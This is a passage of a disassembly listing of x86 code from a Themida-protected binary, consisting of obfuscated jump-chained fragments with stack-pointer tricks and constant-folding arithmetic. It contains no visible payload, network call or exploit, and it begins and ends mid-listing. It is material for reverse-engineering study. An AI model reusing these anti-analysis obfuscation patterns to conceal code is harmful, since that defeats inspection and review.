		jmp	loc_5A03D2
; ---------------------------------------------------------------------------


loc_5A1BA2:				; CODE XREF: Themida_:00593CE6j
		pop	edx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59FE35
; ---------------------------------------------------------------------------


loc_5A1BAC:				; CODE XREF: Themida_:005A41F9j
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 8
		push	eax
		mov	eax, 573F2886h
		or	ebp, eax
		pop	eax
		push	edi
		mov	edi, 70AD4690h
		xor	ebp, edi
		pop	edi
		mov	ecx, ebp
		jmp	loc_599EBF
; ---------------------------------------------------------------------------


loc_5A1BCB:				; CODE XREF: Themida_:005A03DEj
		mov	[esp], eax
		jmp	loc_599234
; ---------------------------------------------------------------------------


loc_5A1BD3:				; CODE XREF: Themida_:005A500Cj
		pop	eax
		sub	ecx, 4
		jmp	loc_59C739
; ---------------------------------------------------------------------------


loc_5A1BDC:				; CODE XREF: Themida_:005970CAj
		pop	dword ptr [esp]
		pop	esp
		xor	al, cl
		jmp	loc_595674
; ---------------------------------------------------------------------------


loc_5A1BE7:				; CODE XREF: Themida_:00592FF8j
		mov	eax, esi
		pop	esi
		add	eax, 69776C5Ch
		jmp	loc_59237C
; ---------------------------------------------------------------------------


loc_5A1BF4:				; CODE XREF: Themida_:0059C841j
		pop	esi
		push	586Eh
		mov	[esp], ecx
		push	ebx
		jmp	loc_592E5E
; ---------------------------------------------------------------------------


loc_5A1C03:				; CODE XREF: Themida_:0059EC77j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5A290E
; ---------------------------------------------------------------------------


loc_5A1C15:				; CODE XREF: Themida_:0059D9E8j
		mov	ecx, 1D782AA1h
		xor	edi, ecx
		pop	ecx
		push	edi
		pop	ebp
		jmp	loc_59746D
; ---------------------------------------------------------------------------


loc_5A1C24:				; CODE XREF: Themida_:005907CDj
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 3B2E3C40h
		sub	ebx, 3B2E3C3Ch
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5904D6
; ---------------------------------------------------------------------------


loc_5A1C46:				; CODE XREF: Themida_:005A33CAj
		mov	eax, [esp]
		add	esp, 4
		push	1B6h
		jmp	loc_5A0831
; ---------------------------------------------------------------------------


loc_5A1C56:				; CODE XREF: Themida_:0059DCD9j
		push	2A6Eh
		mov	[esp], edx
		mov	edx, 408AA941h
		push	3F2h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 13971E53h
		jmp	loc_595E94
; ---------------------------------------------------------------------------


loc_5A1C7E:				; CODE XREF: Themida_:0059568Bj
		push	ebp
		jmp	loc_592A5C
; ---------------------------------------------------------------------------


loc_5A1C84:				; CODE XREF: Themida_:0059F310j
		sub	eax, 4C334E16h
		mov	ebx, [esp]
		push	49C7h
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		sub	edi, 5CB76057h
		add	edi, ebp
		push	edx
		push	ecx
		mov	ecx, 77B426B7h
		jmp	loc_5A1093
; ---------------------------------------------------------------------------


loc_5A1CB0:				; CODE XREF: Themida_:005A1DF8j
		mov	esi, 68CD6F98h
		mov	edx, 0E197B628h
		add	edx, esi
		jmp	loc_5A41B4
; ---------------------------------------------------------------------------


loc_5A1CC1:				; CODE XREF: Themida_:00594351j
		xor	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_59F0A2
; ---------------------------------------------------------------------------


loc_5A1CCB:				; CODE XREF: Themida_:005A4D70j
		add	esp, 4
		add	edi, 4
		push	edi
		jmp	loc_595ABF
; ---------------------------------------------------------------------------


loc_5A1CDD:				; CODE XREF: Themida_:005A197Bj
		add	esp, 4
		push	1448h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_59823D
; ---------------------------------------------------------------------------


loc_5A1CFA:				; CODE XREF: Themida_:005A3BA2j
		mov	edi, 2
		jmp	loc_59DA36
; ---------------------------------------------------------------------------


loc_5A1D04:				; CODE XREF: Themida_:005984C8j
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	esi, [esp]
		jmp	loc_59ABB3
; ---------------------------------------------------------------------------


loc_5A1D16:				; CODE XREF: Themida_:005976E2j
		mov	edx, 37572C89h
		neg	edx
		push	eax
		jmp	loc_59F322
; ---------------------------------------------------------------------------


loc_5A1D23:				; CODE XREF: Themida_:00590AC5j
		pop	esp
		push	esp
		jmp	loc_59807E
; ---------------------------------------------------------------------------


loc_5A1D2A:				; CODE XREF: Themida_:005953BDj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	870h
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_596CCE
; ---------------------------------------------------------------------------


loc_5A1D50:				; CODE XREF: Themida_:00593E38j
		shl	ecx, 3
		sub	ecx, 4123306Ah
		shl	ecx, 4
		sub	ecx, 57374762h
		add	ebx, ecx
		pop	ecx
		add	ebx, 2A5C4483h
		sub	ebx, 3376542h
		push	18C8h
		mov	[esp], eax
		mov	eax, 527F71C8h
		inc	eax
		shr	eax, 5
		xor	eax, 492D7BBEh
		or	eax, 5F6D7854h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3673B3AAh
		sub	eax, ebx
		pop	ebx
		add	ebx, eax
		jmp	loc_59BCD0
; ---------------------------------------------------------------------------


loc_5A1DA1:				; CODE XREF: Themida_:00593FDEj
		mov	ebp, [esp]
		jmp	loc_595E9F
; ---------------------------------------------------------------------------


loc_5A1DA9:				; CODE XREF: Themida_:005A4208j
		sub	ch, ah
		sub	ch, 90h
		pop	ax
		jmp	loc_599E07
; ---------------------------------------------------------------------------


loc_5A1DB5:				; CODE XREF: Themida_:00598C19j
		mov	ebx, 49F05B8Fh
		dec	ebx
		jmp	loc_5A4B42
; ---------------------------------------------------------------------------


loc_5A1DC0:				; CODE XREF: Themida_:0059E59Dj
		pop	eax
		jmp	loc_59C79B
; ---------------------------------------------------------------------------


loc_5A1DC6:				; CODE XREF: Themida_:005A4DF9j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_595D99
; ---------------------------------------------------------------------------


loc_5A1DD8:				; CODE XREF: Themida_:0059EC8Bj
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 47D07165h
		xor	ebp, 666D30E9h
		shl	ebp, 2
		not	ebp
		jmp	loc_59D81A
; ---------------------------------------------------------------------------


loc_5A1DF7:				; CODE XREF: Themida_:005A2C6Aj
		push	esi
		jmp	loc_5A1CB0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59C53D
; ---------------------------------------------------------------------------


loc_5A1E06:				; CODE XREF: Themida_:00598E4Bj
		pop	ecx
		jmp	loc_59F4F8
; ---------------------------------------------------------------------------


loc_5A1E0C:				; CODE XREF: Themida_:0059D8B4j
		push	ecx
		mov	ecx, 1C007D48h
		mov	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59F409
; ---------------------------------------------------------------------------


loc_5A1E23:				; CODE XREF: Themida_:0059C82Aj
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_59E8CE
; ---------------------------------------------------------------------------


loc_5A1E2F:				; CODE XREF: Themida_:00596341j
		mov	[esp], ecx
		mov	ecx, 1A7B2FFBh
		jmp	loc_59488E
; ---------------------------------------------------------------------------


loc_5A1E3C:				; CODE XREF: Themida_:00593E5Fj
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, 536F2F9Ah
		sub	esi, 54573637h
		jmp	loc_59F267
; ---------------------------------------------------------------------------


loc_5A1E55:				; CODE XREF: Themida_:00591D39j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 32A716E8h
		xchg	edx, edi
		not	edx
		jmp	loc_5A24AE
; ---------------------------------------------------------------------------


loc_5A1E6D:				; CODE XREF: Themida_:005A2944j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_59B3C8
; ---------------------------------------------------------------------------


loc_5A1E84:				; CODE XREF: Themida_:005A3E02j
		xor	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A1E8E:				; CODE XREF: Themida_:00599E22j
		pop	ecx
		sub	esp, 4
		jmp	loc_5951E8
; ---------------------------------------------------------------------------


loc_5A1E9A:				; CODE XREF: Themida_:00595569j
		xchg	edi, [esp]
		jmp	loc_5A4072
; ---------------------------------------------------------------------------


loc_5A1EA2:				; CODE XREF: Themida_:0059E915j
		push	edi
		mov	edi, 34F43BC8h
		shl	edi, 2
		inc	edi
		push	ebx
		jmp	loc_59B33F
; ---------------------------------------------------------------------------


loc_5A1EB2:				; CODE XREF: Themida_:0059E2F3j
		push	906h
		jmp	loc_59F315
; ---------------------------------------------------------------------------


loc_5A1EBC:				; CODE XREF: Themida_:0059AA8Ej
		push	eax
		jmp	loc_592122
; ---------------------------------------------------------------------------


loc_5A1EC2:				; CODE XREF: Themida_:005A3EDCj
		push	ebx
		mov	bh, 0D2h
		sub	ch, bh
		pop	ebx
		sub	al, ch
		jmp	loc_59B712
; ---------------------------------------------------------------------------


loc_5A1ECF:				; CODE XREF: Themida_:0059DA31j
		mov	ebp, 1
		add	ecx, ebp
		pop	ebp
		dec	ecx
		push	eax
		push	309E1FF6h
		pop	eax
		or	eax, 7B452FCBh
		add	eax, 77A23B60h
		sub	eax, 0A2FFC41Ah
		xor	ecx, eax
		pop	eax
		jmp	loc_591048
; ---------------------------------------------------------------------------


loc_5A1EF6:				; CODE XREF: Themida_:005A12FEj
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5938B5
; ---------------------------------------------------------------------------


loc_5A1F00:				; CODE XREF: Themida_:005A38EBj
		mov	ebx, 2
		sub	esi, 638A21B9h
		sub	esi, 57990CDDh
		add	esi, ebx
		add	esi, 57990CDDh
		add	esi, 638A21B9h
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_59D394
; ---------------------------------------------------------------------------


loc_5A1F2B:				; CODE XREF: Themida_:00599B93j
		mov	ecx, eax
		jmp	loc_598BDF
; ---------------------------------------------------------------------------


loc_5A1F32:				; CODE XREF: Themida_:005A204Cj
		add	ebp, 28385866h
		add	ebp, edx
		jmp	loc_599F35
; ---------------------------------------------------------------------------


loc_5A1F3F:				; CODE XREF: Themida_:005997B4j
		mov	ebp, [esp]
		jmp	loc_596AF8
; ---------------------------------------------------------------------------


loc_5A1F47:				; CODE XREF: Themida_:0059FD8Fj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_59829A
; ---------------------------------------------------------------------------


loc_5A1F63:				; CODE XREF: Themida_:005A4B70j
		mov	bl, 0EEh
		mov	al, 1Eh
		sub	al, bl
		mov	ebx, [esp]
		add	esp, 4
		neg	al
		not	al
		dec	al
		xor	al, 9Dh
		add	al, 85h
		add	dl, al
		pop	eax
		push	19D1h
		mov	[esp], eax
		mov	ah, 48h
		shl	ah, 2
		add	ah, 0FEh
		xchg	cl, ah
		jmp	loc_59C3A6
; ---------------------------------------------------------------------------


loc_5A1F96:				; CODE XREF: Themida_:0059A76Bj
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5972E4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59C84E
; ---------------------------------------------------------------------------


loc_5A1FB3:				; CODE XREF: Themida_:005A2891j
		pop	esp
		push	small 6C39h
		jmp	loc_5A2A77
; ---------------------------------------------------------------------------


loc_5A1FBD:				; CODE XREF: Themida_:0059127Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4079007Bh
		jmp	loc_59F8CA
; ---------------------------------------------------------------------------


loc_5A1FD7:				; CODE XREF: Themida_:0059FF14j
		pop	eax
		jmp	loc_591BCD
; ---------------------------------------------------------------------------


loc_5A1FDD:				; CODE XREF: Themida_:00594835j
		add	esp, 4
		add	esp, 4
		add	ebx, esi
		pop	esi
		jmp	loc_59D56C
; ---------------------------------------------------------------------------


loc_5A1FEE:				; CODE XREF: Themida_:00592BC3j
		mov	ebp, [esp]
		jmp	loc_59DF2E
; ---------------------------------------------------------------------------


loc_5A1FF6:				; CODE XREF: Themida_:005A287Aj
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_59B32B
; ---------------------------------------------------------------------------


loc_5A200A:				; CODE XREF: Themida_:0059E333j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5A03E3
; ---------------------------------------------------------------------------


loc_5A201B:				; CODE XREF: Themida_:00597C3Cj
		mov	ebx, 6E8D7E72h
		sub	ebx, ebp
		jmp	loc_5951F0
; ---------------------------------------------------------------------------


loc_5A2027:				; CODE XREF: Themida_:00592997j
		neg	edx
		shl	edx, 2
		xor	edx, 50DC38C4h
		add	edx, 0FE78DFF1h
		jmp	loc_5991A5
; ---------------------------------------------------------------------------


loc_5A203D:				; CODE XREF: Themida_:00595C7Fj
		pop	dword ptr [esp]
		jmp	loc_5943C0
; ---------------------------------------------------------------------------


loc_5A2045:				; CODE XREF: Themida_:0059AAB0j
		pop	esi
		jmp	loc_59A54A
; ---------------------------------------------------------------------------


loc_5A204B:				; CODE XREF: Themida_:005A515Aj
		pop	edi
		jmp	loc_5A1F32
; ---------------------------------------------------------------------------


loc_5A2051:				; CODE XREF: Themida_:0059E1A7j
		xor	dword ptr [esp], 4FCF5DD2h
		pop	ebp
		jmp	loc_59D424
; ---------------------------------------------------------------------------


loc_5A205E:				; CODE XREF: Themida_:005A3B26j
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_59813D
; ---------------------------------------------------------------------------


loc_5A206F:				; CODE XREF: Themida_:005990C4j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	57F4h
		jmp	loc_5A2FEF
; ---------------------------------------------------------------------------


loc_5A2089:				; CODE XREF: Themida_:00596616j
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5925B0
; ---------------------------------------------------------------------------


loc_5A2097:				; CODE XREF: Themida_:00598A74j
		test	ecx, eax
		pushf
		jmp	loc_5A0265
; ---------------------------------------------------------------------------


loc_5A209F:				; CODE XREF: Themida_:00598738j
		pop	esp
		mov	[esp], esi
		mov	esi, 1617E4h
		sub	edi, 0BC6779Bh
		add	edi, esi
		add	edi, 0BC6779Bh
		mov	esi, [esp]
		add	esp, 4
		add	edi, 1C224536h
		jmp	loc_59A411
; ---------------------------------------------------------------------------


loc_5A20CA:				; CODE XREF: Themida_:005A0BCEj
		mov	esi, 1F5162B1h
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_59E86F
; ---------------------------------------------------------------------------


loc_5A20D9:				; CODE XREF: Themida_:005A15EBj
		dec	esi
		push	esi
		jmp	loc_598545
; ---------------------------------------------------------------------------


loc_5A20E0:				; CODE XREF: Themida_:00591012j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A29BE
; ---------------------------------------------------------------------------


loc_5A20F6:				; CODE XREF: Themida_:005990D3j
		mov	ah, 5Ch
		shr	ah, 7
		not	ah
		neg	ah
		sub	ah, 0B5h
		mov	cl, ah
		pop	eax
		mov	dl, cl
		pop	ecx
		shr	dl, 1
		xor	dl, 4Bh
		add	al, 0CAh
		add	al, dl
		jmp	loc_59CF77
; ---------------------------------------------------------------------------


loc_5A2116:				; CODE XREF: Themida_:0059D7C3j
		mov	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		push	ecx
		jmp	loc_59A464
; ---------------------------------------------------------------------------


loc_5A2129:				; CODE XREF: Themida_:0059BB1Bj
		sub	dh, 0DCh
		inc	dh
		inc	dh
		shl	dh, 7
		add	dh, 99h
		jmp	loc_59996C
; ---------------------------------------------------------------------------


loc_5A213B:				; CODE XREF: Themida_:005943F4j
		push	ebp
		mov	ebp, 1E0A27A8h
		shl	ebp, 7
		not	ebp
		jmp	loc_5961BE
; ---------------------------------------------------------------------------


loc_5A214B:				; CODE XREF: Themida_:005A3A25j
		pop	eax
		jmp	loc_594418
; ---------------------------------------------------------------------------


loc_5A2151:				; CODE XREF: Themida_:005A4702j
		not	edi
		add	edi, 2A4D5048h
		add	ebx, edi
		pop	edi
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5916A9
; ---------------------------------------------------------------------------


loc_5A217D:				; CODE XREF: Themida_:0059032Fj
		push	dword ptr [esp]
		jmp	loc_5974D3
; ---------------------------------------------------------------------------


loc_5A2185:				; CODE XREF: Themida_:005951C6j
		mov	eax, 712E7174h
		add	eax, 6EA219ADh
		add	eax, 4228967Ch
		add	ebp, eax
		jmp	loc_59AF75
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	326Ch
		mov	[esp], ebx
		jmp	loc_593E64
; ---------------------------------------------------------------------------


loc_5A21AC:				; CODE XREF: Themida_:005930EDj
		push	ebp
		mov	ebp, 65980980h
		jmp	loc_5923FE
; ---------------------------------------------------------------------------


loc_5A21B7:				; CODE XREF: Themida_:00593A80j
		pop	ecx
		jmp	loc_5A4790
; ---------------------------------------------------------------------------


loc_5A21BD:				; CODE XREF: Themida_:0059F947j
		pop	eax
		xor	ecx, [esp]
		jmp	loc_59D533
; ---------------------------------------------------------------------------


loc_5A21C6:				; CODE XREF: Themida_:0059DB34j
		mov	ecx, [esp]
		jmp	loc_59DE57
; ---------------------------------------------------------------------------


loc_5A21CE:				; CODE XREF: Themida_:00598C10j
		sub	esp, 4
		jmp	loc_591D02
; ---------------------------------------------------------------------------


loc_5A21D9:				; CODE XREF: Themida_:00595B7Bj
		add	edi, eax
		sub	edi, 252F0750h
		jmp	loc_5A1350
; ---------------------------------------------------------------------------


loc_5A21E6:				; CODE XREF: Themida_:005A24A9j
		push	ecx
		push	edi
		jmp	loc_59FF8E
; ---------------------------------------------------------------------------


loc_5A21ED:				; CODE XREF: Themida_:00598243j
		add	esp, 4
		jmp	loc_5946A6
; ---------------------------------------------------------------------------


loc_5A21F5:				; CODE XREF: Themida_:0059A35Fj
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	esp
		jmp	loc_5A2821
; ---------------------------------------------------------------------------


loc_5A2219:				; CODE XREF: Themida_:005967D1j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59F5AE
; ---------------------------------------------------------------------------


loc_5A2227:				; CODE XREF: Themida_:005974CEj
		sub	eax, 0C00A9583h
		jmp	loc_59A6CC
; ---------------------------------------------------------------------------


loc_5A2231:				; CODE XREF: Themida_:00596157j
		sub	esi, eax
		pop	eax
		jmp	loc_598E50
; ---------------------------------------------------------------------------


loc_5A2239:				; CODE XREF: Themida_:0059AFAFj
		pop	esi
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_591F3E
; ---------------------------------------------------------------------------


loc_5A224C:				; CODE XREF: Themida_:00595955j
		pop	ebp
		jmp	loc_5A088C
; ---------------------------------------------------------------------------


loc_5A2252:				; CODE XREF: Themida_:0059CBD8j
		mov	eax, 4
		add	ecx, eax
		jmp	loc_5A5112
; ---------------------------------------------------------------------------


loc_5A225E:				; CODE XREF: Themida_:0059B8ABj
		add	ebp, 4
		jmp	loc_5A0ACB
; ---------------------------------------------------------------------------


loc_5A2269:				; CODE XREF: Themida_:005970B8j
		add	esi, edi
		pop	edi
		sub	eax, esi
		jmp	loc_595EFE
; ---------------------------------------------------------------------------


loc_5A2273:				; CODE XREF: Themida_:005A3BC4j
		push	ebp
		push	esp
		jmp	loc_5A24DB
; ---------------------------------------------------------------------------


loc_5A227A:				; CODE XREF: Themida_:005A1117j
		add	ebx, 44241984h
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A2290:				; CODE XREF: Themida_:0059C7D2j
		add	eax, 4
		jmp	loc_59C101
; ---------------------------------------------------------------------------


loc_5A229A:				; CODE XREF: Themida_:005A120Dj
		dec	edi
		push	edi
		jmp	loc_5956CB
; ---------------------------------------------------------------------------


loc_5A22A1:				; CODE XREF: Themida_:00595424j
		xor	ebp, 7FAF6362h
		push	ebp
		sub	dword ptr [esp], 0D1B20E1h
		pop	ebx
		add	ebx, 0D1B20E1h
		pop	ebp
		push	0
		sub	[esp], ebx
		pop	ebx
		not	ebx
		add	ebx, 0E072D115h
		or	edx, ebx
		pop	ebx
		jmp	loc_5A0A41
; ---------------------------------------------------------------------------


loc_5A22D0:				; CODE XREF: Themida_:0059C4CDj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A22E2:				; CODE XREF: Themida_:0059C373j
		xor	edi, 29264B7Eh
		add	edi, 0F5EC9FF6h
		mov	edx, edi
		jmp	loc_599A39
; ---------------------------------------------------------------------------


loc_5A22F5:				; CODE XREF: Themida_:00594881j
		add	esp, 4
		add	esp, 4
		jmp	loc_595469
; ---------------------------------------------------------------------------


loc_5A2300:				; CODE XREF: Themida_:005961B9j
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4AD5CD3h
		or	ecx, 42D69B7h
		sub	ecx, 52732351h
		jmp	loc_5A26A1
; ---------------------------------------------------------------------------


loc_5A231E:				; CODE XREF: Themida_:0059AC99j
		add	esp, 4
		push	edi
		mov	edi, 31E2359Ah
		jmp	loc_59504F
; ---------------------------------------------------------------------------


loc_5A232C:				; CODE XREF: Themida_:0059D903j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A27E2
; ---------------------------------------------------------------------------


loc_5A2339:				; CODE XREF: Themida_:00590EBFj
		add	ebx, edx
		add	ebx, 2191109Dh
		push	ecx
		push	0
		pop	ecx
		add	ecx, 7C8807CEh
		sub	ecx, 1016653Bh
		add	ecx, ebx
		jmp	loc_5A5710
; ---------------------------------------------------------------------------


loc_5A235B:				; CODE XREF: Themida_:00592F66j
		sub	esp, 4
		jmp	loc_590E7A
; ---------------------------------------------------------------------------


loc_5A2366:				; CODE XREF: Themida_:0059ED08j
		push	ebp
		mov	ebp, 8D31410h
		inc	ebp
		add	ebp, 0F7523D4h
		jmp	loc_5A3E54
; ---------------------------------------------------------------------------


loc_5A2378:				; CODE XREF: Themida_:0059E3D8j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5A2A6D
; ---------------------------------------------------------------------------


loc_5A2385:				; CODE XREF: Themida_:0059F15Dj
		mov	edx, 17E45C19h
		or	ecx, edx
		pop	edx
		add	ecx, 64FC120Ah
		jmp	loc_594356
; ---------------------------------------------------------------------------


loc_5A2398:				; CODE XREF: Themida_:005969E5j
		mov	bp, [esp]
		add	esp, 2
		jmp	loc_5993E5
; ---------------------------------------------------------------------------


loc_5A23A7:				; CODE XREF: Themida_:005A3482j
		mov	edi, 73C736EAh
		shl	edi, 1
		shr	edi, 1
		sub	edi, 0F4B3168Bh
		jmp	loc_59B65D
; ---------------------------------------------------------------------------


loc_5A23BB:				; CODE XREF: Themida_:00594DADj
		mov	edi, 41A445ABh
		not	edi
		jmp	loc_592384
; ---------------------------------------------------------------------------


loc_5A23C7:				; CODE XREF: Themida_:0059A7A9j
		push	16EAh
		jmp	loc_5964A8
; ---------------------------------------------------------------------------


loc_5A23D1:				; CODE XREF: Themida_:0059E8FCj
		mov	ebx, 42111BE7h
		xor	ebx, ebp
		pop	ebp
		add	edi, 748B3BD2h
		jmp	loc_5A0BAA
; ---------------------------------------------------------------------------


loc_5A23E4:				; CODE XREF: Themida_:0059E51Fj
		xor	esi, [esp]
		jmp	loc_59FDB2
; ---------------------------------------------------------------------------


loc_5A23EC:				; CODE XREF: Themida_:005A385Ej
		sub	cl, 0F7h
		jmp	loc_592832
; ---------------------------------------------------------------------------


loc_5A23F4:				; CODE XREF: Themida_:00598D31j
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_59442E
; ---------------------------------------------------------------------------


loc_5A2411:				; CODE XREF: Themida_:0059EEECj
		push	edx
		jmp	loc_599D67
; ---------------------------------------------------------------------------


loc_5A2417:				; CODE XREF: Themida_:0059BD0Fj
		add	[esp+4], edi
		pop	edi
		pop	ebp
		push	5A97h
		mov	[esp], ecx
		mov	ecx, 39645E8h
		and	ecx, 62A2050Eh
		xor	ecx, 32100D3Eh
		sub	ecx, 0FFFFFFFFh
		add	ecx, 0CF6DF7CDh
		jmp	loc_59A553
; ---------------------------------------------------------------------------


loc_5A2444:				; CODE XREF: Themida_:005929AFj
		sub	ebx, 0ADC4EA2h
		add	eax, ebx
		pop	ebx
		jmp	loc_5983BD
; ---------------------------------------------------------------------------


loc_5A2452:				; CODE XREF: Themida_:005903C0j
		push	edi
		push	edx
		mov	edx, 763C17F8h
		shr	edx, 8
		sub	edx, 6FF76D71h
		shl	edx, 8
		neg	edx
		push	3B2Eh
		mov	[esp], ecx
		mov	ecx, 4E286941h
		add	ecx, 2A2D64A3h
		add	ecx, 6C437C6Dh
		inc	ecx
		dec	ecx
		jmp	loc_59E2AB
; ---------------------------------------------------------------------------


loc_5A2487:				; CODE XREF: Themida_:00593280j
		pop	eax
		xor	eax, 0FFB442Ch
		jmp	loc_59DCAC
; ---------------------------------------------------------------------------


loc_5A2492:				; CODE XREF: Themida_:005945E7j
		add	edx, eax
		sub	edx, 1E6E5BD0h
		pop	eax
		jmp	loc_5915F0
; ---------------------------------------------------------------------------


loc_5A24A0:				; CODE XREF: Themida_:0059EAE0j
		add	edi, 344BFCB2h
		add	eax, edi
		pop	edi
		jmp	loc_5A21E6
; ---------------------------------------------------------------------------


loc_5A24AE:				; CODE XREF: Themida_:005A1E68j
		xchg	edx, edi
		jmp	loc_59182F
; ---------------------------------------------------------------------------


loc_5A24B5:				; CODE XREF: Themida_:00595818j
		mov	ecx, [esp]
		jmp	loc_5937B0
; ---------------------------------------------------------------------------


loc_5A24BD:				; CODE XREF: Themida_:0059AD12j
		shr	edx, 5
		add	edx, 2E25BF83h
		xor	ecx, edx
		pop	edx
		and	ecx, 57A1130Eh
		add	ecx, 1DB6217Eh
		push	ecx
		jmp	loc_5A0D42
; ---------------------------------------------------------------------------


loc_5A24DB:				; CODE XREF: Themida_:005A2275j
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_5936B1
; ---------------------------------------------------------------------------


loc_5A24EC:				; CODE XREF: Themida_:00599C13j
		pop	ebp
		jmp	loc_59E497
; ---------------------------------------------------------------------------


loc_5A24F2:				; CODE XREF: Themida_:005939A0j
		add	ebx, 1F2D4740h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		push	75CE2DF6h
		pop	ebx
		push	edx
		push	esi
		push	58C4D38h
		pop	esi
		dec	esi
		add	esi, 6B09B573h
		mov	edx, esi
		pop	esi
		shr	edx, 6
		inc	edx
		sub	edx, 8BF42A19h
		sub	ebx, edx
		pop	edx
		jmp	loc_598AE8
; ---------------------------------------------------------------------------


loc_5A2548:				; CODE XREF: Themida_:005A514Dj
		mov	ebx, [esp]
		jmp	loc_5A49D5
; ---------------------------------------------------------------------------


loc_5A2550:				; CODE XREF: Themida_:005981EAj
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_598132
; ---------------------------------------------------------------------------


loc_5A255D:				; CODE XREF: Themida_:005965F7j
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_59873D
; ---------------------------------------------------------------------------


loc_5A2567:				; CODE XREF: Themida_:00599E02j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_592E7C
; ---------------------------------------------------------------------------


loc_5A2572:				; CODE XREF: Themida_:00591710j
		mov	esi, 75FD5522h
		add	esi, 0FFFFFFFFh
		shl	esi, 7
		shl	esi, 3
		push	1CDFh
		mov	[esp], edi
		jmp	loc_59A331
; ---------------------------------------------------------------------------


loc_5A258D:				; CODE XREF: Themida_:00598C7Aj
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5933CC
; ---------------------------------------------------------------------------


loc_5A25A6:				; CODE XREF: Themida_:005A27EDj
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5A1B6F
; ---------------------------------------------------------------------------


loc_5A25AF:				; CODE XREF: Themida_:005A3BB6j
